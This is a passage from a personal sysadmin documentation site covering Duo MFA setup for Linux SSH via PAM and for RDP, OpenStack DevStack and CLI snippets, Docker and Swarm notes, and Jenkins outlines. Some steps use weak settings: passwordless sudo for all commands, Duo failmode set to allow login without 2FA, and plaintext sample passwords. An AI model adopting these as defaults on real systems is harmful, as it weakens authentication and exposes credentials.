'search_dn': 'DC=example,DC=com',
'service_account_password': '*****',
'service_account_username': 'REDACTED'}
[info] There are no configuration problems
[info] -----------------------------
[info] Testing section 'radius_server_auto' with configuration:
[info] {'api_host': 'REDACTED.duosecurity.com',
'client': 'ad_client',
'ikey': 'REDACTED',
'radius_ip_1': 'x.x.x.x',
'radius_secret_1': '*****',
'skey': '*****[40]'}
[info] There are no configuration problems
[info] -----------------------------
[info] Testing section 'cloud' with configuration:
[info] {'api_host': 'REDACTED.duosecurity.com',
'ikey': 'REDACTED',
'service_account_password': '*****',
'service_account_username': 'REDACTED',
'skey': '*****[40]'}
[info] The Cloud connection has no connectivity problems.
[info] -----------------------------
[info] Testing section 'ad_client' with configuration:
[info] {'host': 'x.x.x.x',
'search_dn': 'DC=example,DC=dev',
'service_account_password': '*****',
'service_account_username': 'REDACTED'}
[info] The LDAP Client section has no connectivity issues.
[info] -----------------------------
[info] Testing section 'radius_server_auto' with configuration:
[info] {'api_host': 'REDACTED.duosecurity.com',
'client': 'ad_client',
'ikey': 'REDACTED',
'radius_ip_1': 'x.x.x.x',
'radius_secret_1': '*****',
'skey': '*****[40]'}
[info] The RADIUS Server has no connectivity problems.
[info] -----------------------------
[info] SUMMARY
[info] No issues detected
The results have also been logged in /opt/duoauthproxy/log/connectivity_tool.log
```
### Back on the Duo Admin Panel
Click on *Save Directory* again. Select the groups that you would like to sync. For this demo I just selected Role-Infrastructure. Click on Save Groups.
You can now sync the users that are part of the AD group, or sync specific users in the group(s).
## Unix SSH
### Installation & Configuration
I recommend the *duo-unix* apt package gets installed via the official Duo repository, instead of building and installing the package from a download link. Therefore, as per :
``` bash
# Create the source.list
sudo nano /etc/apt/sources.list.d/duosecurity.list
deb http://pkg.duosecurity.com/Ubuntu bionic main
# Install duo-unix
sudo curl -s https://duo.com/APT-GPG-KEY-DUO | sudo apt-key add -
sudo apt-get update -y && sudo apt-get install duo-unix -y
```
Configure the [DuoPAMModule](#duo-pam-module), then choose **ONLY ONE** of the following:
1. [Public Key or SSSD Authentication](#public-key-or-sssd-authentication)- select this option if you are using SSSD for logins to the host with the ubuntu/public key as the backdoor, in case SSSD fails.
2. [Public Key Authentication](#public-key-authentication) - select this option if you are using ubuntu/public key as the only method to login to the host.
3. [Password Authentication](#password-authentication) - select this option if you are using a local user account as the only method to login to the host.
### Duo PAM Module
Duo PAM is the first thing that has to be configured. We specify the Duo API hostname, etc. in this configuration.
``` bash
nano /etc/duo/pam_duo.conf
[duo]
; Duo integration key
ikey = REDACTED
; Duo secret key
skey = REDACTED
; Duo API host
host = REDACTED.duosecurity.com
; Enable autopush
autopush = yes
; `failmode = safe` In the event of errors with this configuration file or connection to the Duo service
; this mode will allow login without 2FA.
; `failmode = secure` This mode will deny access in the above cases. Misconfigurations with this setting
; enabled may result in you being locked out of your system.
failmode = safe
; Send command for Duo Push authentication
;pushinfo = yes
```
### Public Key or SSSD Authentication
An example of the below configuration, as well as installing & configuring SSSD, joining the domain, and configuring sudoers can be found [here](../linux/general.md#ldap-authentication).
**SSH Config**
Add or modify the below parameters to the `sshd_config` file.
``` bash
nano /etc/ssh/sshd_config
PubkeyAuthentication yes
PasswordAuthentication yes
AuthenticationMethods publickey password
ChallengeResponseAuthentication yes
UsePam yes
UseDNS no
```
**PAM Config**
Modify the `/etc/pam.d/sshd` PAM module config.
``` bash
nano /etc/pam.d/sshd
### comment-out @include common-auth
#@include common-auth
### add the below 3 lines underneath #@include common-auth
auth [success=1 default=ignore] /lib64/security/pam_duo.so
auth requisite pam_deny.so
auth required pam_permit.so
```
Modify the `/etc/pam.d/common-auth` PAM module config
``` bash
nano /etc/pam.d/common-auth
### comment-out auth [success=2 default=ignore] pam_unix.so nullok_secure
#auth [success=2 default=ignore] pam_unix.so nullok_secure
### add the below 2 lines underneath #auth [success=1 default=ignore] pam_unix.so nullok_secure
auth requisite pam_unix.so nullok_secure
auth [success=2 default=ignore] /lib64/security/pam_duo.so
```
### Public Key Authentication
**SSH Config**
Add or modify the below parameters to the sshd_config file.
``` bash
nano /etc/ssh/sshd_config
PubkeyAuthentication yes
PasswordAuthentication no
AuthenticationMethods publickey,keyboard-interactive
UsePam yes
ChallengeResponseAuthentication yes
UseDNS no
service sshd restart
```
**PAM Config**
Modify the `/etc/pam.d/sshd` PAM module config.
``` bash
nano /etc/pam.d/sshd
### comment-out @include common-auth
#@include common-auth
### add the below 3 lines underneath #@include common-auth
auth [success=1 default=ignore] /lib64/security/pam_duo.so
auth requisite pam_deny.so
auth required pam_permit.so
```
Modify the `/etc/pam.d/common-auth` PAM module config
``` bash
nano /etc/pam.d/common-auth
### comment-out auth [success=1 default=ignore] pam_unix.so nullok_secure
#auth [success=1 default=ignore] pam_unix.so nullok_secure
### add the below 2 lines underneath #auth [success=1 default=ignore] pam_unix.so nullok_secure
auth requisite pam_unix.so nullok_secure
auth [success=1 default=ignore] /lib64/security/pam_duo.so
```
### Password Authentication
**SSH Config**
Although the defaults work, add or modify the below parameters to the `sshd_config` file.
``` bash
nano /etc/ssh/sshd_config
PubkeyAuthentication no
PasswordAuthentication yes
AuthenticationMethods password
UsePam yes
ChallengeResponseAuthentication yes
UseDNS no
service sshd restart
```
**PAM Config**
Although the PAM configuration is the same as Public Key Authentication, below is the config again to avoid confusion.
Modify the `/etc/pam.d/sshd` PAM module config.
``` bash
nano /etc/pam.d/sshd
### comment-out @include common-auth
#@include common-auth
### add the below 3 lines underneath #@include common-auth
auth [success=1 default=ignore] /lib64/security/pam_duo.so
auth requisite pam_deny.so
auth required pam_permit.so
```
Modify the `/etc/pam.d/common-auth` PAM module config
``` bash
nano /etc/pam.d/common-auth
### comment-out auth [success=1 default=ignore] pam_unix.so nullok_secure
#auth [success=1 default=ignore] pam_unix.so nullok_secure
### add the below 2 lines underneath #auth [success=1 default=ignore] pam_unix.so nullok_secure
auth requisite pam_unix.so nullok_secure
auth [success=1 default=ignore] /lib64/security/pam_duo.so
```
## RDP
As per
Download and install the Duo application for Windows:
Click Next
Type in the *API Hostname*, click Next
Type in the *Integration Key* and *Secret Key*, click *Next*
Check all three boxes, which will bypass Duo if the API host is unreachable on TCP 443, automatically send a push notification upon authentication and disable Duo login when physically logging in to the machine.
Click Next
Click Install
Click Finish
When logging in via RDP, a login request will be pushed to the user's Duo app on their smartphone
---
# Cloud
Source: docs/computing/cloud/index.md
URL: https://docs.calebsargeant.com/computing/cloud/
---
# Openstack
Source: docs/computing/cloud/openstack.md
URL: https://docs.calebsargeant.com/computing/cloud/openstack/
## Installing Openstack on Ubuntu
``` bash
# Update && Upgrade
sudo apt update -y && sudo apt upgrade -y
# Add default non-root user to Sudoers
nano /etc/sudoers
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) NOPASSWD:ALL
# Download DevStack
sudo apt install git -y
cd ~ && git clone https://git.openstack.org/openstack-dev/devstack
# Create local.conf
cd devstack && nano local.conf
[[local|localrc]]
# Password for KeyStone, Database, RabbitMQ and Service
ADMIN_PASSWORD=supersecurepassword
DATABASE_PASSWORD=$ADMIN_PASSWORD
RABBIT_PASSWORD=$ADMIN_PASSWORD
SERVICE_PASSWORD=$ADMIN_PASSWORD
# Host IP - get your Server/VM IP address from ip addr command
HOST_IP=192.168.10.100
# Deploy Openstack
cd devstack
./stack.sh
```
## Openstack CLI
Download the OpenStack RC File from the GUI:
Example OpenRC File downloaded:
``` bash
#!/usr/bin/env bash
# To use an OpenStack cloud you need to authenticate against the Identity
# service named keystone, which returns a **Token** and **Service Catalog**.
# The catalog contains the endpoints for all services the user/tenant has
# access to - such as Compute, Image Service, Identity, Object Storage, Block
# Storage, and Networking (code-named nova, glance, keystone, swift,
# cinder, and neutron).
#
# *NOTE*: Using the 3 *Identity API* does not necessarily mean any other
# OpenStack API is version 3. For example, your cloud provider may implement
# Image API v1.1, Block Storage API v2, and Compute API v2.0. OS_AUTH_URL is
# only for the Identity API served through keystone.
export OS_AUTH_URL=http://10.0.3.211/identity
# With the addition of Keystone we have standardized on the term **project**
# as the entity that owns the resources.
export OS_PROJECT_ID=3468cb55fe6044bf8643fe9db74fd179
export OS_PROJECT_NAME="admin"
export OS_USER_DOMAIN_NAME="Default"
if [ -z "$OS_USER_DOMAIN_NAME" ]; then unset OS_USER_DOMAIN_NAME; fi
export OS_PROJECT_DOMAIN_ID="default"
if [ -z "$OS_PROJECT_DOMAIN_ID" ]; then unset OS_PROJECT_DOMAIN_ID; fi
# unset v2.0 items in case set
unset OS_TENANT_ID
unset OS_TENANT_NAME
# In addition to the owning entity (tenant), OpenStack stores the entity
# performing the action as the **user**.
export OS_USERNAME="admin"
# With Keystone you pass the keystone password.
#echo "Please enter your OpenStack Password for project $OS_PROJECT_NAME as user $OS_USERNAME: "
#read -sr OS_PASSWORD_INPUT
#export OS_PASSWORD=$OS_PASSWORD_INPUT
export OS_PASSWORD=password
# If your configuration has multiple regions, we set that information here.
# OS_REGION_NAME is optional and only valid in certain environments.
export OS_REGION_NAME="RegionOne"
# Don't leave a blank variable, unset it if it was empty
if [ -z "$OS_REGION_NAME" ]; then unset OS_REGION_NAME; fi
export OS_INTERFACE=public
export OS_IDENTITY_API_VERSION=3
```
[Install openstack CLI here](https://docs.openstack.org/newton/user-guide/common/cli-install-openstack-command-line-clients.html).
[See openstack cli docs here](https://docs.openstack.org/python-openstackclient/pike/cli/command-list.html).
### Image
``` bash
# Image Create
openstack image create --container-format ova --disk-format vdi --min-disk 8 --min-ram 1024 --file ~/Downloads/VirtualCanary_334d99a4.ova VirtualCanary
```
### Flavor
``` bash
openstack flavor create --id canary --ram 1024 --disk 8 --vcpus 1 canary
```
### Server
``` bash
# Server Create
openstack server create --image VirtualCanary --flavor ds1G --network private canary
```
## Random Scriptjies
List all SG rules of grepped SG names:
``` bash
read -p 'Enter substring of SG: ' PX
for SG in $(openstack security group list | grep $PX | awk '{print $4}')
do
echo $SG
openstack security group rule list $SG | grep -w "10."* | awk '{print $4,$6,$8}' > $PX.log
done
```
Text manipulation of SG list:
``` bash
# Remove the |
openstack security group list | grep PX | sed 's/|//g'
# Extract the 2nd column
openstack security group list | grep PX | awk '{print $2}'
# Extract the 1st row of the 2nd column
openstack security group list | grep PX | awk 'NR==1{print $2}'
# Extract the 1st row
openstack security group list | grep PX | awk 'NR==1'
# Extract the 1st row
openstack security group list | grep PX | head -1
# Count the number of rows
openstack security group list | grep PX | wc -l
### SG Rule List
openstack security group rule list xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
# Add test to result
openstack security group rule list xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx | grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' | perl -ne 'print "test $_"'
```
Lookup the machine(s) from IP Address:
``` bash
# List all VMs
nova list --all-tenants | grep 10.249.0
# IP Address Extractor
grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}'
openstack security group rule list PX | grep -w "10."*
```
Remove all text before characters:
``` bash
sed 's/^.*10./10./'
```
Get ICMP rules:
``` bash
openstack security group rule list PX | grep -w "10."* | grep -v "icmp" | awk '{print $6,"_",$4,"_",$8}' | sed 's/ //g' | sed 's/:/-/g'
```
Inbound rule list extract:
``` bash
openstack security group rule list PX | grep -w "10."* | awk '{print $4,$6,$8}'
```
---
# DNS
Source: docs/computing/dns.md
URL: https://docs.calebsargeant.com/computing/dns/
---
# Docker Compose
Source: docs/computing/docker/compose.md
URL: https://docs.calebsargeant.com/computing/docker/compose/
- Why: configure relationships between containes
- Why: save our docker container run settings in easy-to-read file
- Why: create one-liner developer environment startups
- Comprised of 2 seperate but related things
> 1. YAML-formatted file that describes our solution options for:
>
> > - containers
> > - networks
> > - volumes
>
> 2. A CLI tool `docker-compose` used for local dev/test automation with those YAML files
## docker-compose.yml
- Compose YAML format has it's own versions: 1, 2, 2.1, 3, 3.1
- YAML file can be used with `docker-compose` command for local docker automation or...
- With `docker` directly in production with Swarm (as of v1.13)
- `docker-compose --help`
- `docker-compose.yml` is default filename, but any can be used with `docker-compose -f`
## docker-compose CLI
- CLI tool comes with Docker for WIndows/Mac, but separate download for Linux
- Not a production-grade tool but ideal for local development and test
- Two most common commands are
> - `docker-compose up` - setup volumes/networks and start all containers
> - `docker-compose down` - stop all containers and remove cont/vol/net
- If all your projects had a `Dockerfile` and `docker-compose.yml` then "new developer onboarding" would be:
> - `git clone github.com/some/software`
> - `docker-compose up`
## Use Compose to Build
- Compose can also build your custom images
- WIll build them with `docker-compose up` if not found in cache
- Also rebuild with `docker-compose build`
- Great for complex builds that have lots of vars or build args
---
# Container Images
Source: docs/computing/docker/container-images.md
URL: https://docs.calebsargeant.com/computing/docker/container-images/
## What's an Image
- App binaries and dependencies
- Metadata about the image and how to run the image
- Official definition: "An image is an ordered collection of root filesystem changes and the corresponding execution parameters for use within a container runtime"
- Not a complete OS. No kernal, kernal modules (e.g. drivers)
- Small as one file (your app binary) like golang static binary
- Big as Ubuntu distro with apt, and Apache, PHP, and more installed
## Image and Their Layers
- Images are made up of file system changes and metadata
- Each layer is uniquely identified and only stored once on a host
- THis saves storage space on host and transfer time on push/pull
- A container is just a single read/write layer on top of image
- `docker image history` and `inspect` commands can teach us
---
# Container Lifetime & Persistent Data
Source: docs/computing/docker/container-lifetime.md
URL: https://docs.calebsargeant.com/computing/docker/container-lifetime/
- Containers are usually immuitable and ephemeral
- "immutable infrastructure": Only re-deploy containers, never change
- This is the ideal scenario, but what about databases or unique data?
- DOcker gives us features to ensure these "seperation of concerns"
- This is known as persistent data
- Two ways: Volumes and Bind Mounts
- Volumes: make special location outside of container UFS
- Bind Mounts: link container path to host path
## Data Volumes
- VOLUME command in Dockerfile
## Bind Mounting
- Maps a host file or directory to a container file or directory
- Basically just two locations pointing to the same file(s)
- Again, skip UFS, and host files overwrite any in container
- Can't use in Dockerfile, must be at `container run`
- `... run -v /Users/caleb/stuff:/path/container`
---
# Container Registries
Source: docs/computing/docker/container-registries.md
URL: https://docs.calebsargeant.com/computing/docker/container-registries/
- An image registry needs to be part of your container plan
- More Docker Hub details including auto-build
- How Docker Store (store.docker.com) is different than Hub
- How Docker Cloud (cloud.docker.com) is different than Hub
- Use new Swarms feature in CLoud to connect to Mac/Win Swarm
- Install and use Docker Registry as private image store
- 3rd party registry options
## Docker Registry
- A private image registry for your network
- Part of the docker/distribution GitHub repo
- The de facto in private container registries
- Not as full featured as Hub or others, no web UI, basic auth only
- At its core: a web API and storage system written in Go
- Storage supports local, S3/Azure/Alibaba/Google Cloud and OpenStack Swift
- Secure your Registry with TLS
- Storage cleanup via Garbage Collection
- Enable Hub caching via "--registry-mirror"
## Private Registry
- Run the registry image on defalt port 5000
- Re-tag an existing image and push it to your new registry
- Remove that image from local cache and pull it from new registry
- Re-create registry using bind mount and see how it stores data
``` bash
docker container run -d -p 5000:5000 --name registry registry
docker pull hello-world
docker run hello-world
docker tag hello-world 127.0.0.1:5000/hello-world
docker push 127.0.0.1:5000/hello-world
docker container rm hello-world
docker image remove hello-world
docker pull 127.0.0.1:5000/hello-world
docker container kill registry
docker container rm registry
docker container run -d -p 5000:5000 --name registry -v $(pwd)/registry-data:/var/lib/registry registry
docker push 127.0.0.1:5000/hello-world
ls /registry-data
```
### Registry and Proper TLS
- Secure by default: docker wont talk to registry without HTTPS
- Except localhost
- For remote self-signed TLS, enable "insecure-registry" in engine
## Using Registry with Swarm
- Works the same way as localhost
- Because of Routing Mesh, all nodes can see 127.0.0.1:5000
- Remember to decide how to store images (volume driver)
- Note: all nodes must be able to access images
- ProTip: use hosted SaaS registry if possible
---
# Creating and Using Containers
Source: docs/computing/docker/creating-and-using-containers.md
URL: https://docs.calebsargeant.com/computing/docker/creating-and-using-containers/
## Basic Commands
- command: `docker version`
> - verified cli can talk to engine
- command: `docker info`
> - most config values of engine
- docker command line structure
> - old (still works): `docker (options)`
> - new: `docker (options)`
## Starting a Container
### Image vs Container
- An image is the application we want to run
- A Container is an instance of that image running as a process
- You can have many containers running off the same image
- Docker's default image "registry" is called Docker Hub (hub.docker.com)
### docker container run --publish 80:80 nginx
1. Download image 'nginx' from Docker Hub
2. Started new container from that image
3. Opened port 80 on the host IP
4. Routes that traffic to the container IP, port 80
## What Happens When we Run a Container
1. Looks for that image locally in image cache, doesnt find anything
2. Then looks in remote image repository (defaults to Docker Hub)
3. Downloads the latest version (nginx:latest by default)
4. Creates a new container based on that image and prepares start
5. Gives it a virtual IP on a private network inside docker engine
6. Opens up port 80 on host and forwards to port 80 in container
7. Starts container by using the CMD in the image Dockerfile
## Container vs VM
### Containers aren't Mini-VMs
- THey are just processes
- Limited to what resources they can access
- Exit when process stops
## Whats Going on in Containers
- `docker container top` - process list in on container
- `docker container inspect` -details of one container config
- `docker container stats` - performance stats for all containers
## Getting a Shell inside Containers
- `docker container run -it` - start new container interactively
- `docker container exec -it` - run additional command in existing container
- Different Linux distros in containers
## Docker Networks
### Docker Networks Defaults
- Each container connected to a private virtual network "bridge"
- Each virtual network routes through NAT firewall on host IP
- All containers on a virtual network can talk to each other without -p
- Best practice is to create a new virtual network for each app:
> - network "my_web_app" for mysql and php/apache containers
> - network "my_api" for mongo and nodejs containers
- "Batteries included, but removeable"
> - Defaults work well in many cases, but easy to swap out parts to customize it
- Make new virtual networks
- Attach containers to more than one virtual network (or none)
- SKip virtual networks and use host IP (--net=host)
- Use different DOcker network drivers to gain new abilities
### CLI Management
- Show networks `docker network ls`
- Inspect a network `docker network inspect`
- Create a network `docker network create --driver`
- Attach a network to container `docker netowrk connect`
- Detach a network from container `docker network disconnect`
### Default Security
- Create your apps so frontend/backend sit on same Docker network
- Their inter-communication never leaves host
- All externally exposed ports clsoed by default
- You must manually expose via -p, which is better default security
- This gets even better with Swarm and Overlay networks
### DNS
- Containers shouldnt reply on IPs for inter-communication
- DNS for friendly names is built-in if you use custom networks
- This gets way easier with Docker Compose
---
# General
Source: docs/computing/docker/general.md
URL: https://docs.calebsargeant.com/computing/docker/general/
A docker image is like a template. A docker container is a running instance of the template. Each micro-service, or application, is placed in their own container.
``` bash
## Manually installing docker
# https://docs.docker.com/engine/install/debian/#install-using-the-convenience-script
curl -fsSL https://get.docker.com -o get-docker.sh
sudo sh get-docker.sh
sudo usermod -aG docker ubuntu
# log out and back in
# Show docker processes running
docker ps
# Install docker
apt install docker.io
# Create Ubuntu docker container (with custom name, not generated)
docker run -it --name my-linux-container ubuntu bash
# List all downloaded docker images
docker images
# Show all running docker processes
docker ps -a
# Delete all exited containers
docker rm $(docker ps -a -f status=exited -q)
# Create Ubuntu docker container, mounting local data as a docker volume (add --rm to delete container once exited)
docker run -it --name my-linux-container -v /local/data/location:/remote/data/location ubuntu bash
# Build your own container (. referrs to Dockerfile in current location)
nano Dockerfile
FROM ubuntu
CMD echo "hello world"
RUN apt-get update && apt-get update && apt-get install -y python3
docker build -t my-ubuntu-image .
# List images again
docker images
# Run newly created docker image
docker run -it my-ubuntu-image
# Delete everything docker (be extremely careful you can loose all data!)
docker system prune -f --all
# Good guide to start/stop/delete/list docker stuff
https://linuxize.com/post/how-to-remove-docker-images-containers-volumes-and-networks/
# Go into bash
sudo docker exec -it 5dc64253e9b0 bash
# Restart container
sudo docker container restart 5dc64253e9b0
# Re-compose
cd /etc/docker/owncloud/
sudo docker-compose up -d
# STOP AND DELETE EVERYTHING - BE EXTTEMELY CAREFUL
docker container stop $(docker container ls -aq)
docker container rm $(docker container ls -aq)
# Updating Images
docker stop containername
docker rm containername
docker pull image/name
# deploy container again via compose/ansible/whatever
# https://stackoverflow.com/questions/44678725/cannot-connect-to-the-docker-daemon-at-unix-var-run-docker-sock-is-the-docker
# Cannot connect to the Docker daemon at unix:/var/run/docker.sock. Is the docker daemon running?
rm /var/snap/docker//run/docker.pid
snap stop docker
snap start docker
```
## Backup
``` bash
#!/bin/bash
DATE=$(date +%Y%m%d)
filelist="prometheus blackbox pushgateway grafana alertmanager"
# Create /root/backups where containers will be saved to
/usr/bin/mkdir /root/backups
# Stop docker containers and export
for line in $filelist ; do
/usr/bin/docker stop "$line"
/usr/bin/docker export -o "/root/backups/docker-container-$line" "$line"
done
# Make tarball of all volumes, containers and config
/usr/bin/tar -czvf "/root/$DATE-backup-weekly.tar.gz" /usr/local/bin /var/lib/docker/volumes /var/spool/cron /etc /root/backups
# Start docker containers
for line in $filelist ; do
/usr/bin/docker start "$line"
done
# Copy to backups
/usr/bin/scp "/root/$DATE-backup-weekly.tar.gz" serveradmin@backups.chatinc.com:/mnt/data/monitor/weekly
# Remove backups locally
/usr/bin/rm -f "/root/$DATE-backup-weekly.tar.gz"
/usr/bin/rm -rf "/root/backups/"
```
## Docker Swarm
``` bash
### Manager
# Initialise docker swarm
docker swarm init --advertise-addr 10.0.2.11
# List all nodes in swarm
docker node ls
# Create docker service (--mode global makes service available across swarm)
docker service create --name helloworld --mode global alpine ping docker.com
# List all docker services
docker service ls
# List docker containers
docker ps
### Worker
# Join the docker swarm (token generated from swarm init on manager)
docker swarm join --token
# To leave a swarm
docker swarm leave --force
```
---
# Docker
Source: docs/computing/docker/index.md
URL: https://docs.calebsargeant.com/computing/docker/
---
# Swarm
Source: docs/computing/docker/swarm.md
URL: https://docs.calebsargeant.com/computing/docker/swarm/
## Containers Everywhere = New Problems
- How do we automate container lifecycle?
- How can we easily scale out/in/up/down?
- How can we ensure our containers are recreated if they fail?
- How can we replace containers without downtime (blue/green deploy)?
- How can we control/track where containers get started?
- How can we create cross-node virtual networks?
- How can we ensure only trusted servers run our containers?
- How can we store secrets, keys, passwords and get them to the right container (and only that container)?
## Swarm Mode: Built-In Orchestration
- Swarm Mode is a clustering solution built inside Docker
- Not related to Swarm "classic" for pre-1.12 versions
- Added in 1.12 (Summer 2016) via SwarmKit toolkit
- Enhanced in 1.13 (Jan 2017) via Stacks and Secrets
- Not enabled by default, new commands once enabled
> - docker swarm
> - docker node
> - docker service
> - docker stack
> - docker secret
## Swarm Services
- `docker swarm init`
- Lots of PKI and security automation
> - Root Signing Certificate create for our Swarm
> - Certificate is issued for first Manager node
> - Join tokens are created
- Raft database created to store root CA, configs and secrets
> - Encrypted by default on disk (1.13+)
> - No need for another key/value system to hold orchestration/secrets
> - Replicates logs amongst Managers via mutual TLS in "contrl plane"
## Overlay Multi-Host Networking
- Just choose `--driver overlay` when creating network
- FOr container-to-container traffic inside a single Swarm
- Optional IPSec (AES) encryption on netowrk creation
- Each service can be connected to multiple networks
> - (e.g. fornt-end, back-end)
- `docker network create --driver overlay mydrupal`
- `docker service create --name psql --network mydrupal -e POSTGRES_PASSWORD=mypass postgres`
- `docker service create --name dripal --network mydrupal -p 80:80 drupal`
## Routing Mesh
- Routes ingress (incoming) packets for a Service to proper Task
- Spans all nodes in Swarm
- Uses IPVS from Linux Kernal
- Load balances Swarm Services accross their Tasks
- Two ways this works
- COntainer-to-container in a Overlay netrwokr (uses VIP)
- External traffic incoming to published ports (all nodes listen)
- `docker service create --name elasticsearch --replicas 3 -p 9200:9200 elasticsearch:2`
- This is a stateless load balancer
- This LB is at OSI layer 3 (TCP) not layer 4 (DNS)
- Both limitations can be overcome with:
- Nginx or HAProxy LB proxy or:
- Docker enterprise Edition which comes with built-in L4 web proxy
## Swarm Stacks
- In 1.13 Docker adds a new layer of abstraction to Swarm called Stacks
- Stacks accept Compose files as their declarative definition for services, networks, and volumes
- We use `docker stack deploy` rather than docker service create
- Stack manages all those objects for us, including overlay network per stack. Adds stack name to start of their name
- New `deploy:` key in Compose file. Cant do `build:`
- Compose now ignores `deploy:`, Swarm ignores `build:`
- `docker-compose` cli not needed on Swarm server
- `docker stack deploy -c example-voting-app-stack.yml voteapp`
- `docker stack serices voteapp`
- `docker stack ps voteapp`
## Swarm Secrets
### Secrets Storage
- Easiest "Secure" solution for storing secrets in Swarm
- What is a Secret?
> - Usernames and passwords
> - TLS certificates and keys
> - SSH keys
> - Any data you would prefer not being on front page of news
- Supports generic strings or binary content up to 500Kb in size
- Doesnt require apps to be rewritten
- As of Docker 1.13.0 Swarm Raft DB is encrypted on disk
- Only stored on disk on Manager nodes
- Default is Managers and Workers "control plan" is TLS + Mutual Auth
- Secrets are firt stored in Swarm, then assigned to a Service(s)
- Only containers in assigned Service(s) can see them
- They look like files in container but are actuallin in-memory fs
- `/run/secrets/secret_name` or `/run/secrets/secret_alias`
- Local docker-compose can use file-based secrets, but not secure
### Secrets with Services
- `docker secret create psql_user psql_user.txt`
- `echo "myDBPassword" \| docker secret create psql_pass -`
- `docker secret ls`
- `docker secret inspect psql_user`
- `docker service create --name psql --secret psql_user --secret psql_pass -e POSTGRES_PASSWORD_FILE=/run/secrets/psql_pass -e POSTGRES_USER_FILE=/run/secrets/psql_user postgres`
- `docker service update --secret-rm`
### Secrets with Stacks
- `docker service create --name search --replicas 3 -p 9200:9200 elasticsearch:2`
- `docker stack deploy -c docker-compoes.yml mydb`
## Swarm Lifecycle
- `docker-compose exec psql cat /run/secrets/psql_user`
### Full App Lifecycle with Compose
- Single set of Compose files for:
- Local `docker-compose up` development environemnt
- Remote `docker-compose up` CI environment
- Remote `docker stack deploy` production environment
- Note: `docker-compose -f a.yml -f b.yml config` mostly works
- Note: Compose `extends:` doesnt work yet in Stacks
## Service Updates
- Provides rolling replacement of tasks/containers in a service
- Limits downtime (be careful with "prevents" downtime)
- Will replace containers for most changes
- Has many, many cli options to control the update
- Create options will usally change, adding -add or -rm to them
- Also has scale & rollback subcommand for quicker access
> - `docker service scale web=4` and `docker service rollback web`
- A stack deploy, when pre-existing, will issue service updates
### Swarm Update Examples
- Just update the image used to a newer version
> - `docker service update --image myapp:1.2.1 `
- Adding an environment variable and remove a port
> - `docker service update --env-add NODE_ENV=production --publish-rm 8080`
> - Change number of replicas of two services
>
> > - `docker service scale web=8 api=6`
### Swarm Updates in Stack FIles
Same command, just edit the YAML file, then
`docker stack deploy -c file.yml `
## Healthchecks
- `HEALTHCHECK` was added in 1.12
- Supported in Dckerfile, Compose YAML, docker run, and Swarm Services
- Docker engine will `exec`'s the command in the container
> - e.g curl localhost
- it expects `exit 0` (OK) or `exit 1` (Error)
- Three container states: starting, healthy, unhealthy
- Much better than "is binary still running?"
- Not an external monitoring replacement
- Healthcheck status shows up in `docker container ls`
- Check last 5 healthchecks with `docker container inspect`
- Docker run does nothing with healthchecks
- Services will replace takss if they fail healthcheck
- Service updates wait for them before continuing
### Healthcheck DOcker Run Example
``` bash
docker run \
--health-cmd="curl -f localhost:9200/_cluster/health || False" \
--health-interval=5s \
--health-retries=3 \
--health-timeout=2s \
--health-start-period=15s \
elasticsearch:2
```
### Healthcheck Dockerfile Examples
- Options for healthcheck command
> - `--interval=DURATION (default: 30s)`
> - `--timeout=DURATION (default: 30s)`
> - `--start-period=DURATION (default: 0s) (17.09+)`
> - `--retries=N (default:3)`
- Basic command using default options
> - `HEALTHCHECK curl -f http://localhost/ \|\| false`
- Custom options with the command
> - `HEALTHCHECK --timeout=2s --interval=3s --retries=3 CMD curl -f http://localhost/ \|\| exit 1`
### Healthcheck in Nginx Dockerfile
- Static website running in Nginx, just test default URL
``` bash
FROM nginx:1.13
HEALTHCHECK --interval=30s --timeout=3s \
CMD curl -f http://localhost/ || exit 1
```
### Healthcheck in PHP Nginx Dockerfile
PHP-FPM running behind Nginx, test the Nginx and FPM status URLs
``` bash
FROM your-nginx-php-fpm-combo-image
# dont do this if php-fpm is another container
# must enable php-fpm ping/status in pool.ini
# must forward /ping and /status urls from ngix to php-fpom
HEALTHCHECK --interval=5s --timeout=3s \
CMD curl -f http://localhost/ping || exit 1
```
### Healthcheck in postgres Dockerfile
Use a PostgtreSQL utility to test for ready state
``` bash
FROM postgres
# Specify real user with -U to prevent errors in log
HEALTHCHECK --interval=5s --timeout=3s \
CMD pg_isready -U postgres || exit 1
```
---
# Getting Started
Source: docs/computing/elk-stack/getting-started.md
URL: https://docs.calebsargeant.com/computing/elk-stack/getting-started/
---
# ELK Stack
Source: docs/computing/elk-stack/index.md
URL: https://docs.calebsargeant.com/computing/elk-stack/
---
# Automating Jobs Configured with Code
Source: docs/computing/jenkins/getting-started/automating-jobs-configured-with-code.md
URL: https://docs.calebsargeant.com/computing/jenkins/getting-started/automating-jobs-configured-with-code/
Pipeline config to clone repo
A failed pipeline building
It's helpful to generate using Pipeline Syntax
Viewing the pipeline syntax
Build our package via pipeline
Viewing results in Stage View
Viewing the Pipeline Steps of a Build
Adding post to pipeline for archiving jar file & test results
Adding a Stage to the pipeline
The convert to pipeline plugin
---
# Building Applications with Freestyle Jobs
Source: docs/computing/jenkins/getting-started/building-applications-with-freestyle-jobs.md
URL: https://docs.calebsargeant.com/computing/jenkins/getting-started/building-applications-with-freestyle-jobs/
## Anatomy of the Build
- Git repo
- Compile
- Test
- Package
- Clean
- rinse & repeat
## Manually Building with Maven and Running App
``` bash
git clone git@github.com:CalebSargeant/jgsu-spring-petclinic.git --config core.sshCommand="ssh -i ~/.ssh/github"
cd jgsu-spring-petclinic
./mvnw compile
./mvnw test
./mvnw package
java -jar target/spring-petclinic-2.3.1.BUILD-SNAPSHOT.jar
```
## Packaging an App in Jenkins
!!! note
Workspaces are temporary!
Give your item a name
Input the repo url, ensure branch is correct (main vs master)
To build a project, click Build now
You can use mvnw commands for building
We'll want to package our app, also exclude *.jar from being deleted
You can configure test reports from the xml files
Checking the health status of a build
Configuring polling git for changes to code to build automatically
You can check the recent changes of a build and drill down into git diffs
---
# Colocating Jobs and Source Code with Jenkinsfile
Source: docs/computing/jenkins/getting-started/colocating-jobs-and-source-code-with-jenkinsfile.md
